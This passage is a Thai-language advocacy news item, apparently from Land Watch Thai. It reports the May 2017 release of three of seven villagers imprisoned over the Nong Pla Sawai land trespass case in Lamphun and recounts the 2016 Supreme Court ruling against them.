วันที่ 10 พฤษภาคม พ.ศ. 2560 เวลา 9.oo น. อาจจะเป็นวันที่แสนธรรมดาของใครหลายๆคน หากแต่สำหรับพี่น้องชาวบ้านที่เกี่ยวข้องกับคดีที่ดินฝืนใหญ่หนองปลาสวายตั้งตารอคอยด้วยความดีใจเป็นพิเศษ เนื่องจากวันนี้เป็นวันที่ชาวบ้าน 3 ใน 7 คน ที่ต้องโทษจำคุกเมื่อปีที่แล้ว คือ นายสุแก้ว ฟุงฟู นางคำ ซางเล็ง และนายพิภพ หารุคำจา ได้รับการปล่อยตัวให้เป็นอิสระ เพื่อให้สังคมได้รับทราบว่าชาวบ้านทั้ง 3 คน ที่ได้รับการปล่อยตัว และอีก 4 คนที่ยังต้องอยู่ในห้องขังนั้น ถูกจับกุมดำเนินคดีด้วยข้อหาอะไร และยุติธรรมหรือกับอิสรภาพของพวกเขาที่ต้องถูกจองจำอยู่ใต้รัวสูงและกรงเหล็ก วันนี้ Land Watch Thai จึงได้นำเรื่องราวของพวกเขามาเล่าอีกครั้งผ่านงานอินโฟกราฟิกที่พวกเราเคยทำเอาไว้ ย้อนกลับไปเมื่อเกือบ 1 ปี ที่แล้ว 25 พ.ค. 2559 ที่ศาลจังหวัดลำพูน มีการอ่านคำพิพากษาศาลฎีกาในคดีที่บริษัทอินทนนท์การเกษตร โดยนพรัตน์ แซ่เตี๋ยว และยุทธนา แซ่เตี๋ยว เป็นโจทก์ฟ้องคดีชาวบ้านแพะใต้จำนวน 10 คน ประกอบด้วย 1.สุแก้ว ฟุงฟู 2.พิภพ หารุคำจา 3.สองเมือง โปยาพันธ์ 4. วัลลภ ยาวิระ 5.วัลลภ ไววา 6.คำ ซางเลง 7.บัวไร ซางเลง ส่วนจำเลยอีก 3 รายเสียชีวิตไปแล้ว โดยมีการฟ้องในข้อหาร่วมกันบุกรุกยึดถือครอบครองอสังหาริมทรัพย์ของของผู้อื่น ซึ่งมีการฟ้องร้องดำเนินคดีครั้งแรกเมื่อวันที่ 11 ก.ค. 2540 การตัดสินดังกล่าวทำให้ชาวบ้านทั้ง 7 คน เข้าคุกทันที 7 คนติดคุก [...]